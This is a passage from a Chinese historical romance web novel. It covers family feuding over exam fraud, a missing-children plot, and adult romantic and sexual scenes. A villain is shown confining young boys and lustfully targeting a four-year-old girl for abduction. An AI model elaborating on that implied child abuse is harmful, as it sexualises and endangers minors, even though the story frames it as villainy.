温宁岚把唇扯一扯,径自推门进去,眼梢里露出点不屑与嘲讽,嗓音虽柔,说起话来却没那么好听,“哥哥想寻人替考?这种被查出来动辄便是抄家的事,哥哥怎敢做?” 见是她,温涧舟蹙着眉开口,“岚岚,你又偷听?” 温宁岚不以为意,对温涧舟也没什么敬重之意,“我不听,怎知哥哥又在觊觎我娘留下的银子?” “温宁岚!”温卓南抬起个指头把她点一点,“你这话是何意?什么你娘的?这儿哪有你娘?整个家不都是爹的?” 温宁岚不避不闪,道:“哥哥别忘了,这个家是靠着我娘起来的,你们娘仨能有今日这金尊玉贵的日子,也是我靠娘的嫁妆托着,这家里的东西,我娘要占到一半!哥哥想寻人替考毁了这个家?” 她蓦然拔高嗓音,“不能够!我如今晓得这事了,你若仍要做下此事,我便提前往府署去一趟!” 见温卓南气得眼眶涨红,她复又冷笑,“你这打小就有的毛病治不好,把我瞪穿了也没用,你是不是不知爹为何一改口风?因为爹当年也是个穷秀才哩。” 最后一句话,她咬得极轻,温卓南还未生出躁意,这头温涧舟就已拍案而起,神色不满盯着温宁岚,“你说的什么话!” 温宁岚不以为意耸肩,“不是说一家人闹一闹没什么要紧的?爹,我是跟您学的。” 言罢,她不预备再与这对父子多说,只道:“爹可千万不要应下此事,否则,我会先去府署揭发哥哥,丢了面子就丢了面子,总好过抄家。” 旋即一展裙摆走了出去,留温涧舟在屋子里神色游移不定。她晓得,提到抄家,温涧舟便是脖子上被架了刀,也绝无再向温卓南点头的可能。 从前温卓南如何欺负她,她都不甚在意。可事关到这个“家”,哪怕这个家与娘只剩一丁点儿的牵绊在,她也要为之反抗。 一径走到园子时心情大好,温宁岚目光掠至花圃,发觉自己精心养护的茉莉又被摧残,一时脸色又冷了下来。 她终于不再忍耐,与奶妈妈道:“妈妈,先前家里拿来驱蛇虫的雄黄还剩多少?” 奶妈妈思忖片刻,答道:“约莫还剩半包。” 温宁岚遥遥望向园子里的几个大水缸,那里头养着温卓南不知打哪钓来的湖鱼,她“唔”了一声,朝那头抬了抬下颌,“把雄黄都洒进去,再使厨娘来捞鱼,另起一口锅烧鱼,夜里请他吃毒鱼宴,吓一吓他。” 奶妈妈登时来了精神,感慨小姐终于拾起本事反击,忙不迭端着腰就去办了。 果真,到了夜里用晚膳时,温卓南一见桌上满是泛黑的鱼汤鱼羹,得知自己几缸鱼都被温宁岚毒死了,“噌”地一下拔座而起就要与她算账。 温宁岚却捧着碗笑,“你敢摧残我的花,我就不能毒你的鱼?我好歹这回做得光明正大,哥哥,我到底也是这个家里的一份子,你再不收敛一下,下一回,保不准我就偷偷摸摸去做了。” 那温辛妍在一旁瞧热闹,深知胞兄是个压抑不住狂躁情绪的性子。 她本也看不惯温宁岚,便在一旁拱火,哭啼啼道:“这些可是活生生的鱼!岚岚!你怎么可以不与哥哥商量就尽数毒死,实在太不把哥哥放在眼里了!” 旋即又摸出条帕子揩拭泪,面朝温涧舟哭,“爹,这么多年过去了,岚岚还是无法接受我同哥哥两个人,她她这样霸道,我还怎么过呀” 这等唱戏的本事实在太拙劣,温宁岚细嚼慢咽吃饭,期间暗暗翻了翻眼皮子,待用过半碗饭,才道:“我霸道,我若霸道,会由着你们在家里欺负我这么多年?” 这个家早已不像话,温宁岚说罢也不看温涧舟与温太太的脸色,好似一朝想通了。 当即就起身舀了勺鱼羹送进温卓南的碗里。 继而一扔筷子,径自往外走,“我吃饱了,哥哥请慢些享用。” 眼见温卓南眼底涨红,呼吸急促,颈后开始起些密密麻麻的红疹子,温太太心中大骇,忙不迭在温涧舟面前说过两句话,一把拉了温卓南就往外头走。 到了处没人的墙根下,她才作势打一打温卓南,往他怀里摸出一个药瓶,送了粒药丸进他嘴里,道:“死孩子!你与那小贱人置什么气?你险些犯病晓不晓得?” 温卓南打小便有个克制不住自己发燥的毛病,随了他前头那位亲爹,说出来到底是不好听,温太太便以药物压制他,这么多年也一直瞒着温涧舟。 片刻过去,那药丸起了药效。温卓南脖颈后的红疹褪去,他却仍板着脸,眼神阴鸷,“娘,我几时能杀了她?我身手又不差,捏死她,就如捏死一只蚂蚁。” 他如此恼怒倒也并非全然为了那几缸鱼,要紧的还是因温宁岚从中打岔,他寻人替考的事便算黄了。 明年他只得自己上场,倘或再考不中,还不知外头那些同窗要如何笑话他! 温太太被吓 一跳,忙四下窥视一眼,复又重重打他一下,“你喊杀喊杀像什么话,她可是你名义上的妹妹!” 见温卓南脸色阴沉至极,温太太自眼梢里转出一丝高傲,又道:“杀了她有什么意思?我是她娘,她的婚事捏在我手里,届时她岂非任我揉搓?她若能嫁个“好人家”,这才算痛快呢。” 母子两个在墙根下说了会话,见温卓南的情绪逐渐平缓下来,温太太便旋裙往花厅里去了。 温卓南剪着手在背后,闭了闭眼,也调转脚步往外头去。 一径寻到那处小巷里的私宅,怎知圈养的那几个小童又使了烈性子,温卓南摁着其中一个治了半晌,这才神色稍显舒坦。 继而领着两个小厮出了巷子,听其中一个小厮说夫子庙那头有什么热闹瞧,便预备着往那头转一转。 一路上,温卓南都在思忖要如何整治温宁岚。 他就是看不惯她那副盯着自己的眼神,当年刚进温家时,她就用那种眼神盯着自己看,好似他被她嫌弃,不配踏进温宅。 想起她,他少不得又有些生气。 俄延半晌,夫子庙那头隐有锣鼓响声,温卓南敛了敛心神,正一脚跟着小厮往街口进去,不防脚边有两个奶娃娃窜过去。 其中一个女娃娃脖子上挂了个破破烂烂的银项圈,赶巧勾住了他的袍子。 温卓南缓缓垂眼,目光重重落在她身上。 “溪溪!你快一点呀!再不来,那舞狮子就瞧不见啦!”另一个奶娃娃在前头喊。 一男一女,两个都浑身脏兮兮的,活脱像是哪里的乞丐。 温卓南见女娃娃仰脸盯着自己瞧,原本稍显阴沉的脸倏而转柔,动作缓慢解开被勾住的袍角,轻声道:“可以了。” 那女娃娃冲他绽开笑颜,说了句“谢谢哥哥”,旋即一股脑跑向另一个男娃娃。 温卓南目光静静跟随着两道矮小的身影。 片刻,他冷淡如冰的目光里浮起霪色,扭头望向小厮,“跟过去。” 。 晴光四耀,乞巧过去,又赶上八月中秋将至,上至门户里的太太,下至赌坊里的俏丽荷官,凡是些爱热闹的女子都往外头跑。 这也使得那些惯会做生意的摊贩豪赚一笔,如绢花、香囊这样的小玩意儿得女子喜爱,做成兔儿样式的泥塑、灯笼也卖得十分不错。 听闻要出城去花绣娘那取嫁衣,夏菱上赶着抢活儿,裙摆一旋就与家里的其他几个侍卫一并出城了。 再回来时,臂弯里兜着个篮子,一眼瞧着便是逛过街市,篮子里不是话本子就是手帕、绢花。 欢欢喜喜差使人扛着装嫁衣的箱笼进云滕阁时,钱映仪正趴在镜前盯着那顶赢来的凤凰冠瞧。 浓荫密匝,四面刮起一阵还算凉爽的风,几片叶子吹入廊下,夏菱顺手捡进篮子里,笑嘻嘻进了正屋。 “小姐,奴婢把嫁衣取来囖,真真好看至极,看得奴婢也想嫁人了。” 钱映仪支起身子,乜眼笑她,“别羡慕春棠,待你出嫁,我也是要让你风风光光、漂漂亮亮做新娘子的。” 她够眼朝夏菱的篮子里瞧了两眼,把手一摊,“买了什么?拿来我瞧瞧。” 夏菱窃窃笑,把篮子搁在她身前,一一挑拣出来,顺手把话本子拿住,“小姐,这话本子是奴婢要看的,你若要看,可要耐着性子等一等了。” 钱映仪挑着两条弯弯的眉,偏要去夺,“我不管!什么话本子这样宝贝,先让我瞧瞧!” 蹦蹦跳跳抢来一看,钱映仪登时又“啪”的一声给合上。 她憋着笑,腮畔泛起红晕,半晌拿指头去点夏菱的额心,“好啊!你跟着翠翠学的是不是?竟偷偷买这样的话本子!” 夏菱却不扭捏,一把抢过来,轻掣她的衣袂往外走,“哎呀,别说人家哩,小姐快去看看嫁衣,春棠在园子里摘花,奴婢去唤她来!” 出门时,便赶上秦离铮迎门进来。 那箱笼就搁在院子里,秦离铮淡扫两眼,脚步却不停,行至钱映仪跟前,反剪在身后的手便捧出两个磨喝乐。 钱映仪稀奇他还买这个,接在手上来回瞧,半晌往他怀里一扔,神情颇为嫌弃,“噫,好丑,我不要。” 秦离铮笑,指一指其中一个模样生气的开口:“不觉得像你?” 钱映仪狠狠瞪他一眼,一拳头打过去,“你太坏了,在你眼里,我就有这么丑?” 二人正站在树下,小丫鬟们正把那箱笼围作一团,无人留心这头,秦离铮拿虎口托着她的下颌,把她一张脸稍抬,“我有说你丑吗?我说它像你,生气起来气鼓鼓的,你不喜欢,我扔了便是。” 钱映仪胆战心惊拨开他的手,低声警告:“你端正些!” 秦离铮便端正起来,肩背挺得直直的,目光也遥望某处,不再看她。 “也没叫你这般装模作样,”钱映仪脸上浮起赧意,悄悄摸一摸他的指尖,把那两个磨喝乐复又夺过来,小声嘀咕道:“既是你送的,那人家还是留着好了,丑是丑了点。” 二人心意想通之事,除了两个丫鬟与姐姐、嫂嫂,还有小玳瑁,旁人一概不知。 这种在天光下碰一碰手、勾一勾下颌的刺激对钱映仪而言十分受用,她一面要装得正经,一面又放纵自己暗自跌进去。 正高兴着,丫鬟们那头闹了起来,“春棠姐姐回来了!” “夏菱姐姐,快把春棠姐姐拉过来,咱们一齐瞧一瞧这件嫁衣有多好看!” 钱映仪冷不丁醒过神,仿佛是不留神蹭了蹭秦离铮的指腹,便抛下他往那头去。 才刚走过去,钱映仪便被这嫁衣晃了眼。鸾凤和鸣钉珠霞帔下是一件红色暗纱圆领袍,马面裙摆是一针一线绣出来的龙鹤纹,大大小小的珠子镶在上头,这一瞬间,她好似都已瞧见春棠穿上这件嫁衣的模样。 春棠这时才晓得小姐替自己备好了嫁衣,大约日子一天天过,想及往后不能再在小姐跟前伺候,十分鼻酸。 便见她蓦然一个回身,把一双眼睛睁得大大的,好叫风吹干眼底的湿润。 钱映仪却笑吟吟的,把她两个肩头一握住就给掰了回来,旋即与她比划手语,一来二去,春棠破涕为笑,两条胳膊霎时抄过钱映仪的臂弯,一把就将她给抱住了。 秦离铮远远看着,看不懂钱映仪与春棠说了什么,但他能从春棠的神色中感知出她在传递什么,心中直叹她的纯善,也跟着笑一笑。 这时候小玳瑁从外头进来,手中握着要送给春棠的一捧绒球,一见这件嫁衣,亦十分感动,忙不迭就在钱映仪面前弯了腰身言谢。 钱映仪觑他一眼,倏问,“小玳瑁,你的宅子可寻好了?” 小玳瑁摇头晃脑笑起来,“那是自然,我正预备着与您说呢,就在清平桥那边,是个崭新的宅子,头先被一个商户买下,那商户同我爹娘认得,今年北上做生意安了家,前些日子正来信托我爹娘帮着卖出去呢,这不赶上巧宗,我就买下来了!” “小姐,要不您也去瞧瞧?替春棠掌掌眼?” 这话正合钱映仪心意,忙叫丫鬟们阖紧箱笼,回屋子里上下照照镜子,把案上一些零散的东西摆正,遂欢欢喜喜出来道:“自然要去!” 几人一并往外头去,穿过不知几个廊角,钱映仪倏见夏菱偷摸把那话本子拿出来斜给春棠瞧,她也不害臊! 钱映仪忙轻咳一声,三个女孩子围成团,一顿比划。 小玳瑁与秦离铮在后头走,小玳瑁看不真切她们到底说了什么,只笑吟吟把目光落在春棠的后脑勺上。 待春棠羞红着脸跺一跺脚,钱映仪便把那话本子卷一圈,作势轻敲夏菱的头。 她一颗脑袋也凑去春棠身后,拽着夏菱小声道:“你学坏!不许拿这话本子给她瞧,这里头写得未免也太夸张,什么一夜十次,我警告你,倘或春棠信了这里头的,来日在新婚夜对小玳瑁有什么误解,你就是这个罪魁祸首!” 小玳瑁身手没秦离铮好,耳力也不如他,只能远远瞧着小姐与夏菱背着春棠说话,便扭头问秦离铮,“你可知她们在说什么?” 秦离铮淡扫他一眼,没讲话。 套了车往清平桥去,由正街拐进去,再行小半截路,钱映仪便见着了小玳瑁说的新宅。 二进的院子,走过垂花门便是浓荫密匝,顿觉一阵凉爽。再是抄手游廊,东西厢房十分宽敞,正房更甚。 钱映仪这回没挑刺,一路跟着瞧,时不时把下颌轻点,打心底替春棠高兴。 院子后头还有片稀稀散散的竹林,小玳瑁引着几人一一瞧过,便笑嘻嘻一拍脑袋,“嗐, 瞧我,也没准备个瓜果点心,茶水倒是有,快随我去前头歇歇凉!” 钱映仪跟着笑,自顾捉裙跟上她。 未行半步,腰身一把被兜揽住,她转瞬被罩进一片阴影里,替她挡去了金黄的日色。 秦离铮歪着头亲一亲她的脸,一时也没讲话。她忙左右窥视,抬手去推他,“在外面呢。” 秦离铮垂着下颌,笑了笑,指腹摩挲在她的手上,“先前蹭我的手是何意?” 钱映仪细细一想,早已把当时那小小的撩拨忘得一干二净!她有些心虚,假意挣扎了两下,旋即轻抬下颌望向他,低声道:“我我那是不留神蹭到了,又没别的意思。” 前头是夏菱在呼唤,“咦?小姐呢?小姐!” 紧接着是小玳瑁的笑音,“哎呀,小姐应是在后头仔细瞧着呢,夏菱,你同春棠关系密切,你来瞧一瞧,这屋子如何?” 夏菱嘀咕两句,又没了动静。 晴光正盛,光束扫在秦离铮的侧脸上,细腻得连微小的绒毛都能瞧见。 他盛着肩头的太阳靠近钱映仪,眼睛先盯着她眼里的晶莹,再落向她抹了口脂的唇畔,光明正大在阳光底下把她捉住亲了一口。 这才摁着唇上那点口脂揉擦,问,“你看过很多那样的话本子?” 这处竹林说大不大,说小不小。偏巧后头的墙根处有条细细的缝,延伸出一个碗口大的洞,隐约能见行人从外头经过。 钱映仪缩在他身前,虽有些热,却享受着他怀里那股清爽的薄荷香。她自鼻腔里哼出一声,“什么话本子?你说夏菱拿给春棠瞧的那个?你听见了呀,我很少看那样的呢,没什么意思。” “怎么没意思?” 钱映仪一惊,眼珠子左右瞟一瞟,倏地轻轻踮起脚,勾着他的脖子往下拉。 她神情十分认真,“我从前不懂这个呢,但我现在懂了,那话本子写得太夸张,真照着上面来,只一夜不就得被吸干了?男女情爱这样的话本子不真实,有什么好看的。” 秦离铮沉默片刻,“你是几时懂得这么多的?” 钱映仪窃窃笑了两声,胆子大了点,伸手戳一戳他的肩,那点子隐秘的兴奋在咫尺之间来回打转,她岔开话题,悄声道:“这样偷偷摸摸的好刺激。” 不等秦离铮开口,钱映仪又慢吞吞执扇轻摇,姿态懒洋洋的,“大约中秋那日,哥哥便回来了,我想了想,要不就中秋那日把咱们的事告诉爷爷。” 秦离铮心里头也盘算着在中秋时彻底与她挑明身份,无论她是何反应,他都打定主意不会松手,这段时日压在心头的那抹惆惘也窜了下去。 他把眉轻挑,刻意逗一逗她,“若他们不点头呢?你还预备嫁我吗?” 钱映仪有些羞涩,却睁大眼睛把他回望着,“哟,好端端地,谁答应过要嫁你?” 秦离铮目光落在她轻摇的扇上,她的一举一动时刻都牵动着他的心。因此他也慢吞吞俯身,两片稍薄的唇悬在她的唇边,他能立刻分辨出她刹那间停住的呼吸,还有她喉间不自觉咽下的期盼。 他笑了笑,没照着她的唇印下。 反而拨一拨她的衣襟,带着满背的阳光低下头,在她那一小块细腻白皙的肌肤上轻咬厮磨,力道虽轻,喷出来的热气却仿佛勾着无尽的贪婪与占有欲。 钱映仪猛然攫紧裙边,倒吸一口气,“阿铮不可以” “不可以吗?”他含混应了两声,唇齿间的动作没停。 钱映仪的脸被光束扫得变了颜色,心都被他咬得要蹦出来,咬着牙关不吭声,脚却轻轻往上踮了踮。 俄延半晌,秦离铮才自她颈间抬起脑袋,盯着那点暗红瞧着。见她好似被烫着一般,他倏然佯装叹息,“有印记在,你不想嫁我也难。” 钱映仪仰脸瞪他,鼓着腮真真与那磨喝乐相差无几。 秦离铮一惯爱逗弄她,轻掣起她的手,握着她五个指头来回揉捏,“别生气,其实你也喜欢这样,是不是?” 怪哉,自打二人情投意合起来,他就总爱问她是不是喜欢。虽说二人未行至最后一步,可情浓到她说不出话来时,他也要问她是不是喜欢这样,她不讲话,他便隐有逼问的趋势。 钱映仪霎时抽回手,把折扇蒙在脸上,遮住了脸上的光,衣襟下那片肌肤却滚烫得厉害,“哎呀,你不许再说话。” 大约是在青天白日下,她格外羞涩,让她觉得背后的墙根都在发烫,整个人像倒进了火堆里。 赶上夏菱看完屋子,又在前头唤着她。 秦离铮拽了一下扇面,没拽动。想了想,便也没强硬揭开,只垂眼盯着她发髻里的金蝉钗瞧着,正要自顾往里头去,倏又倒转回来。 他凑在她腮畔轻轻吐息,“别生气,那些话本子是没什么意思,待回去了,我给你看些有意思的。” “哄你高兴。”—— 作者有话说:再有两章就安排温卓南下线[愤怒] 上一秒钱映仪:好刺激! 下一秒钱映仪:你别这样! 秦离铮:听不懂,我只知道你很喜欢。《 》 40-45 第41章 杨柳绿荫,花香浓郁。这宅子离秦淮河不算远,站在院子里不讲话都能隐听淮岸管弦乐声。 几人在树下坐了坐,夏菱便咂摸起嘴,想吃一吃夫子庙后头那条街巷里的五色小糕。 于是小玳瑁干脆起身道:“嘿嘿,那成,今日这宅子就先看到这儿,夏菱,你眼光好,回头我购置些家具,还请你来替我琢磨琢磨怎么摆一摆。” 夏菱捂着嘴笑,“晓得了,我答应帮你干活,届时你娶春棠时,我拦你,你急起来可不许推我。” 小玳瑁只浮起一张红脸跟着笑。 见云层蔽日,没先前燥热了,几人便打转出去,丢下马车,一径行上朱雀街,往夫子庙的方向走。 正要转进巷子口时,不防自里头跌跌撞撞跑出两道身影,两个神情各异,慌乱的慌乱,急切的急切。 钱映仪定睛一瞧,男人竟是梁途,另一个妇人也有几分眼熟,她片刻就恍然想起来,是糖水铺隔壁那家童衣铺的老板。 二人这幅模样把她吓一跳,见梁途转过来,忙赶过去问,“梁老板,你这是怎的了?出了何事?” 梁途并未遮面,两个眼珠子爬遍血丝,像是一夜未睡,甫一把目光掠过来,便越过钱映仪的肩头死死盯着秦离铮。 秦离铮对危险的直觉向来准确,梁途一向谨小慎微,怎会直接这样在街道上横冲直撞?能使他心神慌乱到如此地步的,唯有梁溪照。 意识到梁溪照或许出了什么要紧事,秦离铮把眉紧蹙,忙一拉钱映仪在身后,问,“是溪溪出事了?” 梁途急喘着气,目光里好似游着什么能尽数豁出去的东西,倘或梁溪照真是秦离铮做局带走的,他约莫能因此事与秦离铮当街互殴。 他狠厉的目色直逼秦离铮,想在喘息间往秦离铮的脸上查出什么蛛丝马迹。可惜的是,秦离铮并未做过什么,神情自然坦荡。 半晌,他的眼底渐渐暗沉下来,像盛着一汪死水,启唇说话时,干枯的唇皮粘连片刻才撕开,“从昨夜起,溪溪就不见了。” 钱映仪大惊,“好端端地,她一个孩子能去哪里?四处都找遍了?” 夏菱几人虽不认得梁途,听了几句也听出来了,夏菱忙道:“ 这可不得了!昨夜到现在都过去多久了,您报官了不曾?” 话音未落,那妇人蓦然冲至钱映仪身前,一把抓住她的手,哭得声泪俱下,“小姐,您家里是做官的,是不是?我求求您,能不能帮着我找一找我的圆哥儿,两个孩子向来玩在一处,昨夜里说去看舞狮,这一出去就再没回来,一个四岁一个五岁,若遭遇了什么不测,该如何是好!该如何是好啊!” 梁途眸色颤动,没有立时回答夏菱。秦离铮却知他在怕什么,正要说话,却见钱映仪扭头与小玳瑁道:“你先送春棠她们回去,把家里的侍卫都找出来,他们比小厮的腿脚快不少,沿着这一带仔仔细细地寻!” 她又扭头问二人,“两个孩子昨日穿的什么衣裳?” 妇人忙道:“圆哥儿穿了件深蓝的袍子,腰间打了个灰色的补丁,溪溪溪溪的袍子是碧绿色的,昨日还捡了个破破烂烂的项圈戴在脖子上给我瞧。” 话音甫落,她止不住地横袖擦泪,“这一带治安向来不错,我官人说要报官,人都去了官署,那儿的衙役却推脱着说在办什么重要案子,让我官人回家再等等,指不定是两个孩子调皮去了哪玩耍。” 小玳瑁办事利落,听罢这妇人的描述立即拉着春棠,又一手招呼夏菱快速离去。 秦离铮望向梁途,眼底蕴着一缕稍显复杂的情绪,忖度片刻,问了一句,“河边可寻过了?” 那日秦离铮已决心静等梁途同意他的请求,便把盯着梁途的两名手下给撤走了,因此,梁溪照到底去了哪里,如今是生是死,他当真不知。 金陵治安严谨,各处城门都有府兵守着,拍花子的可能性不大,尤其梁溪照的性情十分跳脱,拍花子也不一定能拘得住她。 怕就怕出了意外,一是不慎在河岸玩耍时失足跌进了河里,淮河日夜笙歌,又时有画舫游过去,动静太大,倘或掉下去两个孩子,当真不会有人及时察觉。 二来 秦离铮盯着梁途,四目短暂相碰,都在对方眼底抓取到一条信息——瑞王。 除非瑞王察觉到了梁途的存在,试图带走梁溪照引他出来。 妇人的哭声呜咽,钱映仪轻声安抚她的嗓音响在耳畔,梁途的脸上布满可怖疤痕,像有根线在他的皮肤上来回切割,切割来切割去,只剩求助。 秦离铮心头说不清是什么滋味,他能理解梁途这不得已的苦衷,其实他尽可以以此作为要挟,倘或帮他找到梁溪照,他就需得替自己办事。 “阿铮,”钱映仪这时轻掣他的衣袖,眉目爬满担忧,“这事要紧,你随我去一趟官署报官吧。” 她抿一抿下唇,凑近他悄声道:“官署定然还在绕着燕姐姐的案子打转,所以才拒了她官人,姐夫这时候还在官署,我们去一趟,不算难事。” 秦离铮猛然回神,垂眼凝视着她的容颜,不知是不想她失望,还是因心底的同情占据了上风,他遮蔽了眼底的情绪,再度望向梁途,抛出问题,“再寻半日,往河边仔仔细细搜,若仍没有踪迹,便请官署出动衙役大张旗鼓寻人,如何?” 梁途掩在背后的手紧紧握拳,正犹豫不定,见秦离铮投来一记安心的眼神,心头有片刻松动,俄延半晌,终是点了点头。 钱映仪瞧着哭得近乎晕厥过去的妇人,心内十分唏嘘,便去把她扶一扶,劝道:“溪溪十分机敏,您的圆哥儿我也见过两回,二人定然只是在哪里贪玩睡了过去,或是掉进哪个坑里也说不准” 她话虽如此说,却越来越没底气。两个不过四五岁的孩子,这么久不见踪迹,怎可能一点事都没有? 于是她顿一顿,只能道:“您莫要哭,还请攒些力气,咱们还得继续寻人呢。” 趁着钱映仪在宽慰妇人的间隙,秦离铮也不动声色行至梁途身前,嗓音低得只有二人能听见,“报官后,我会差人潜入瑞王府搜寻一番,若是人不在那,我的人会暂时替你遮掩住,不叫你的名字传到瑞王耳朵里。” 语气诚恳,不曾要挟。 话音甫落,便见梁途抬头看着秦离铮,目色复杂难辨。 没几时,小玳瑁领着一众侍卫踅回来,钱映仪便命他们照着四个方向去寻,又另点几人去河岸打听。 这一搜寻便到了傍晚,仍旧没有两个孩子的消息。 梁途心灰意冷,眸色黯淡无光,咬牙片刻,当即道:“报官,溪溪哪怕是死了,我也要见着她的尸体!” 去官署打了个转,钱映仪与余骋碰上面后,三言两语就将事情给说明白了。 见余骋仍要忙,便在官署外宽慰梁途与妇人几句,嗟叹一声,旋即与秦离铮一并往琵琶巷赶。 谁知进门又碰上许珺领着几个婆子急匆匆要往外走,钱映仪忙不迭拦停她,问,“婶婶这时候往哪里去?” 一见侄女,许珺紧蹙的眉头稍稍舒展,抬着下颌往宅子里头望了一眼,叹道:“你嫂嫂这孕中的反应越来越严重,止不住地腰酸背痛,我正琢磨着往外头请个大夫来瞧瞧呢。” 钱映仪举着忧愁的目光也往宅子里头看了眼,垂眼想了想,扶起许珺的胳膊,道:“嫂嫂身边离不得人,哥哥又因公务耽搁在扬州,我同姐姐只能伴着嫂嫂说些话解闷,我预备着去嫂嫂那儿,您也跟着去吧,请大夫的事就交给阿就交给林铮吧。” 她扭头去看秦离铮,秦离铮把下颌轻点,朝许珺打一拱手,登时转背隐入半昏半明的暮色里。 “还在肚子里就这样折腾她娘,还不知生出来是个多调皮的姐儿。”许珺最终是笑叹了一声,挽着钱映仪的胳膊一并跟着进了宅子里。 两人一路行至任郁青的院落,屋子里头稍有些闷热,因她怀着孩儿,不敢往屋里搁置太多冰,一日漫长,到了这时候冰也化了。于是伺候的丫鬟便站在窗前,时不时把窗推一推,待涌进些风透透气,又将窗给阖上。 如此反复,丫鬟也休息不好,眼下有些淡淡的乌色。 任郁青倚在榻上,肚皮愈发显大,往腰后塞了两个八角软枕,柔和的眉眼杂糅了一缕忧愁与歉意,见二人进来便要起身,“婶婶,我没什么要紧呢,还受得住,您没真去请大夫吧?” 钱映仪忙握住她的胳膊往回摁,少不得嗔怪两句,“嫂嫂,你与咱们是一家人,总这样客气做什么?不舒服可不就得请大夫吗?” “正是,”钱玉幸坐在圆杌上,腿上叠着几件绣工精致的小衣裳,一面抚一抚那衣裳,一面道:“待团姐儿出来,我定要时常与她说,团姐儿呀,你当时在娘的肚子里打什么拳脚呢?你娘怀你受了好大的罪,你晓不晓得?” 任郁青总是十分温柔,即使被这话逗笑也只是轻轻振动双肩,闻听钱映仪在外头寻那糖水铺的孩儿,又跟着担忧眨眨眼,“这可怎么得了呀。” 许珺得知钱映仪尚没用晚膳,便使婆子去厨房备些吃食来。 几个一并在任郁青的屋子里说笑,哄她高兴,直至大夫过来把了脉,开了挤温和的药方子,任郁青才觉得有些疲累,渐渐地就睡了过去。 钱映仪旋着裙摆回云滕阁时,天色业已黑漆漆的。她抬眼瞧一瞧,明月当空,数不清的星星像汇聚在她的头顶闪烁着。 她笑一笑,继而走进正屋去。 顶着疲惫沐浴过,她踩着鞋去落锁,正转背去点灯时,西窗轻响。 一见秦离铮的身影,她瘪一瘪唇,一个猛子就扎进他的怀里,搂紧他的腰身不放,“好累。” 秦离铮俯身亲一亲她还有些湿润的发,捞起她的腿弯往榻上去,“累了就早些睡,嗯?” 钱映仪陷进帐子里,拿脚踹一踹他的胳膊,“你将香炉里的香点一点了再来。” 秦离铮依言去点香。 知她这后半日不大高兴,于是秦离铮再折返回榻前时,一面擎着银釭,一面往怀里掏了本册子出来,不一时就递与她眼前,唇畔勾出一缕笑,“不是说回来了带你看点有意思的?拿去。” 钱映仪阖眼瘫着四肢,闻声噙着狐疑睁眼,借着银釭里的火光去瞧,片刻,渐渐睁圆了眼,一把将册子给夺在手里,“你先前说不给我瞧的呢!” 正是秦离铮记事的手札。 自打心意相通后,钱映仪便时常惦念着当初引她入他寝屋的那本册子。她晓得,那是他刻意为之,他定还有其他的藏着不给她瞧。 秦离铮对她称得上一句百依百顺,偏就在此事上,无论她是威逼利诱还是软硬兼施,总是磨不了他点头。 好容易 拿在手里,钱映仪登时来了兴致,轻攒的眉眼也舒展开,干脆一个翻身趴在榻上,“把银釭放在矮几上我瞧得清楚些呢,你也别闲着,我方才去嫂嫂那坐久了,腰也有些酸,腿好像也有些酸” 她作势翻开手札,头也没抬,嗓音倒是软得要命,“替我捏一捏。” 秦离铮没讲话,手却听话得很,在她两条腿上轻轻按着。 钱映仪乐滋滋翻开手札,一眼扫见那工整至极的字迹,便先瞪了一记眼风给秦离铮,“我就说你心机深沉,你连字迹都刻意作假,就为了引我上钩!” “不这样,你几时才能发现我的心意?”秦离铮有些心虚,其实这本手札也是重新誊抄过的,上头只有与她有关的事,其他的谋算、计划一并避开了。 钱映仪“嘁”了一声,歪着脑袋,脸畔枕在软枕上,不自觉念出来,“第一次发梦梦见小姐,梦中一双手分外轻柔,醒来泄” 她猛然顿住,脸无端端红透了,“你怎么这个也写呀” 秦离铮的手掌握住她的脚腕来回摆,因放低了嗓音,听在她心里便如一记钩子,“往后翻一翻。” 钱映仪作势剜他一眼,架不住她也想晓得他还写了什么,便又翻一页,“小姐醉酒,执伞寻我,与我敞开心扉诉说心事,我亦克制不住抱了小姐” 她努力想了想,渐渐睁大眼睛,“是我第一回醉酒那次?” “你连这也瞒着我!”她撅起唇,一脚蹬开他的手,从帐子里爬坐起来,“我说第二日你怎么穿得花枝招展的,你莫不是以为我那时有一点喜欢你?” 秦离铮把眉轻挑,复又把她挣开的脚腕握住,“你敢说,一丁点的感觉都没有吗?没有的话,你雨夜寻我做什么?不要骗自己。” 钱映仪摆着张气势汹汹的脸,目光又挪向手札,往后翻了翻,上头依旧写着她不知情的东西,譬如哪块点心她多咬了一口,她骂人前会有哪些小动作,她睡前翻了几个身才睡着 她本想再搜捡他欺瞒她的证据,此刻细细检算一番,那股气冷不丁就窜下去了。她把手札一扔,沉默片刻,轻轻把他抱住,“好吧,暂且原谅你,这样一瞧,你的世界里好似只有我。” 秦离铮抚一抚她的额发,喉间喧出一缕对她的妥协,“何止是只有你,我有时候都觉得你长在了我的骨头、血液里。” “溪溪不见了,你其实很难过,是不是?” “现在有没有高兴点?” 钱映仪悬在他肩头的眼睛轻眨,“她会被找到的,对不对?” 秦离铮俯身去亲她,“会的。” 她为何会觉得累,他都知道的。她一惯是个会软着心肠同情旁人的人,即使这人与她没什么要紧的关系,她擅长许多东西,写话本,画小像,体贴关怀身边的人,她的好多到他无法用简单的数去衡量。 唯独有一点不擅长,她最不擅长处理自己这一颗柔软的心。 双唇相触,起先只是轻如羽毛的吻,渐渐地,啄吻变得有些重。钱映仪倒在他怀里被迫承受着,轻轻哼了两声,手不自觉就往他腰腹上探。 摸到他腹前绷紧的那块肌肉,她倏然自他怀里起身,支起两条胳膊去推他,抿了抿下唇,小声道:“你往妆台那去一下,把我那条银链翻出来。” 看她眼里闪着期期艾艾的光,秦离铮低叹一声,老实去寻那根银链。 甚至无需她亲自动手,在上榻前便已赤着上身,把腰链缠绕在腰间。 钱映仪侧身支着脑袋,看他一步步往自己身前靠,眼色里爬遍满意之色,笑吟吟夸道:“真俊。” 秦离铮膝行上榻,一把捞起她,吮吻她饱满的唇肉,掌心握着她腰间的软肉,倏然含混着口齿道:“映仪” “待来年开春,一定要嫁给我,一定要,好不好?” 钱映仪轻喘着推开他,湿漉漉的目光落在他身上,瞧着神情,明显是记起下晌那滚烫的感觉。 她便把他戳一戳,旋即一口咬了上去。 往他肩头咬出几个重重的牙印,才道:“看你表现,想娶我也不是那么简单的事。” 秦离铮低笑。银釭里的火光早已被他吹灭,他借以月色凝望她片刻,倏然抱着她倒在被衾上,旋即松开她,“过来。” 钱映仪嘀咕,“我不是在这里嘛。” 他指了指自己的脸,“我说过来这里。” 钱映仪猛然一起身,扭扭捏捏垂下视线,盯着他还泛着水光的唇,“不好吧?” 秦离铮不给她再迟疑的机会,一把握紧她的腰就往身上挪。 